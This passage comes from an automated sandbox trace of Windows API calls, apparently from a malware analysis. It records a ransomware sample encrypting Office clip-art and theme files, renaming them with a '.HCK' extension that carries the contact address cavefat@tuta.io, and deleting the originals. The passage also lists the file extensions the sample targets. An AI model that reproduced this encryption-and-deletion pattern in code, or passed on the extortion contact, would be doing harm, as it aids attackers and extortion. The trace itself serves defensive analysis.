office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.923] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.923] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.924] GetLastError () returned 0x0 [0230.924] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x342e, lpOverlapped=0x0) returned 1 [0230.926] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3430, lpOverlapped=0x0) returned 1 [0230.927] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.927] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.927] SetEndOfFile (hFile=0x548) returned 1 [0230.927] CloseHandle (hObject=0x548) returned 1 [0230.927] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.927] SetEndOfFile (hFile=0x4ac) returned 1 [0230.930] CloseHandle (hObject=0x4ac) returned 1 [0230.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0230.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.931] lstrlenW (lpString=".doc") returned 4 [0230.931] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.931] lstrlenW (lpString=".docx") returned 5 [0230.931] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.931] lstrlenW (lpString=".pdf") returned 4 [0230.931] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.931] lstrlenW (lpString=".xls") returned 4 [0230.931] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.931] lstrlenW (lpString=".xlsx") returned 5 [0230.931] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.931] lstrlenW (lpString=".ppt") returned 4 [0230.931] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.931] lstrlenW (lpString=".zip") returned 4 [0230.931] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.931] lstrlenW (lpString=".rar") returned 4 [0230.931] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.931] lstrlenW (lpString=".bz2") returned 4 [0230.931] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.931] lstrlenW (lpString=".7z") returned 3 [0230.931] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.931] lstrlenW (lpString=".dbf") returned 4 [0230.931] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.931] lstrlenW (lpString=".1cd") returned 4 [0230.931] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.932] lstrlenW (lpString=".jpg") returned 4 [0230.932] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.932] lstrlenW (lpString=".doc") returned 4 [0230.932] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.932] lstrlenW (lpString=".docx") returned 5 [0230.932] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.932] lstrlenW (lpString=".pdf") returned 4 [0230.932] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.932] lstrlenW (lpString=".xls") returned 4 [0230.932] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.932] lstrlenW (lpString=".xlsx") returned 5 [0230.932] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.932] lstrlenW (lpString=".ppt") returned 4 [0230.932] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.932] lstrlenW (lpString=".zip") returned 4 [0230.932] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.932] lstrlenW (lpString=".rar") returned 4 [0230.932] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.932] lstrlenW (lpString=".bz2") returned 4 [0230.932] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.932] lstrlenW (lpString=".7z") returned 3 [0230.932] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.932] lstrlenW (lpString=".dbf") returned 4 [0230.932] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.932] lstrlenW (lpString=".1cd") returned 4 [0230.932] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0230.932] lstrlenW (lpString=".jpg") returned 4 [0230.932] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.932] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.932] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0230.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.933] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4961) returned 1 [0230.934] CloseHandle (hObject=0x4ac) returned 1 [0230.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0230.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.934] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.934] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.935] GetLastError () returned 0x0 [0230.935] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x1361, lpOverlapped=0x0) returned 1 [0230.936] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1370, lpOverlapped=0x0) returned 1 [0230.937] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.937] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.937] SetEndOfFile (hFile=0x548) returned 1 [0230.937] CloseHandle (hObject=0x548) returned 1 [0230.937] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.937] SetEndOfFile (hFile=0x4ac) returned 1 [0230.939] CloseHandle (hObject=0x4ac) returned 1 [0230.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0230.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.940] lstrlenW (lpString=".doc") returned 4 [0230.940] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.940] lstrlenW (lpString=".docx") returned 5 [0230.940] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.940] lstrlenW (lpString=".pdf") returned 4 [0230.940] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.940] lstrlenW (lpString=".xls") returned 4 [0230.940] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.940] lstrlenW (lpString=".xlsx") returned 5 [0230.940] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.940] lstrlenW (lpString=".ppt") returned 4 [0230.940] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.940] lstrlenW (lpString=".zip") returned 4 [0230.940] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.940] lstrlenW (lpString=".rar") returned 4 [0230.940] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.940] lstrlenW (lpString=".bz2") returned 4 [0230.940] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.940] lstrlenW (lpString=".7z") returned 3 [0230.940] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.940] lstrlenW (lpString=".dbf") returned 4 [0230.940] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.940] lstrlenW (lpString=".1cd") returned 4 [0230.940] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.940] lstrlenW (lpString=".jpg") returned 4 [0230.940] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.941] lstrlenW (lpString=".doc") returned 4 [0230.941] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.941] lstrlenW (lpString=".docx") returned 5 [0230.941] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.941] lstrlenW (lpString=".pdf") returned 4 [0230.941] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.941] lstrlenW (lpString=".xls") returned 4 [0230.941] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.941] lstrlenW (lpString=".xlsx") returned 5 [0230.941] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.941] lstrlenW (lpString=".ppt") returned 4 [0230.941] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.941] lstrlenW (lpString=".zip") returned 4 [0230.941] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.941] lstrlenW (lpString=".rar") returned 4 [0230.941] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.941] lstrlenW (lpString=".bz2") returned 4 [0230.941] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.941] lstrlenW (lpString=".7z") returned 3 [0230.941] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.941] lstrlenW (lpString=".dbf") returned 4 [0230.941] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.941] lstrlenW (lpString=".1cd") returned 4 [0230.941] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0230.941] lstrlenW (lpString=".jpg") returned 4 [0230.941] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.941] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.941] lstrlenW (lpString="WNTER_01.MID") returned 12 [0230.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.943] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6915) returned 1 [0230.943] CloseHandle (hObject=0x4ac) returned 1 [0230.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0230.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.943] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.943] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.944] GetLastError () returned 0x0 [0230.944] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x1b03, lpOverlapped=0x0) returned 1 [0230.945] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0230.946] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.946] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.120] SetEndOfFile (hFile=0x548) returned 1 [0231.209] CloseHandle (hObject=0x548) returned 1 [0231.210] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.210] SetEndOfFile (hFile=0x4ac) returned 1 [0231.211] CloseHandle (hObject=0x4ac) returned 1 [0231.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0231.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.214] lstrlenW (lpString=".doc") returned 4 [0231.214] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.214] lstrlenW (lpString=".docx") returned 5 [0231.214] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.214] lstrlenW (lpString=".pdf") returned 4 [0231.214] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.214] lstrlenW (lpString=".xls") returned 4 [0231.214] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.214] lstrlenW (lpString=".xlsx") returned 5 [0231.214] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.214] lstrlenW (lpString=".ppt") returned 4 [0231.215] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".zip") returned 4 [0231.215] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.215] lstrlenW (lpString=".rar") returned 4 [0231.215] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.215] lstrlenW (lpString=".bz2") returned 4 [0231.215] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.215] lstrlenW (lpString=".7z") returned 3 [0231.215] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".dbf") returned 4 [0231.215] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".1cd") returned 4 [0231.215] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".jpg") returned 4 [0231.215] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".doc") returned 4 [0231.215] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.215] lstrlenW (lpString=".docx") returned 5 [0231.215] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0231.215] lstrlenW (lpString=".pdf") returned 4 [0231.215] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.215] lstrlenW (lpString=".xls") returned 4 [0231.215] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.215] lstrlenW (lpString=".xlsx") returned 5 [0231.215] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0231.215] lstrlenW (lpString=".ppt") returned 4 [0231.215] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".zip") returned 4 [0231.215] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.215] lstrlenW (lpString=".rar") returned 4 [0231.215] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.215] lstrlenW (lpString=".bz2") returned 4 [0231.215] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.215] lstrlenW (lpString=".7z") returned 3 [0231.215] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".dbf") returned 4 [0231.215] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".1cd") returned 4 [0231.215] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0231.215] lstrlenW (lpString=".jpg") returned 4 [0231.215] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.216] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.216] lstrlenW (lpString="Glow Edge.eftx") returned 14 [0231.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0231.217] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=54347) returned 1 [0231.217] CloseHandle (hObject=0x4ac) returned 1 [0231.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0231.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 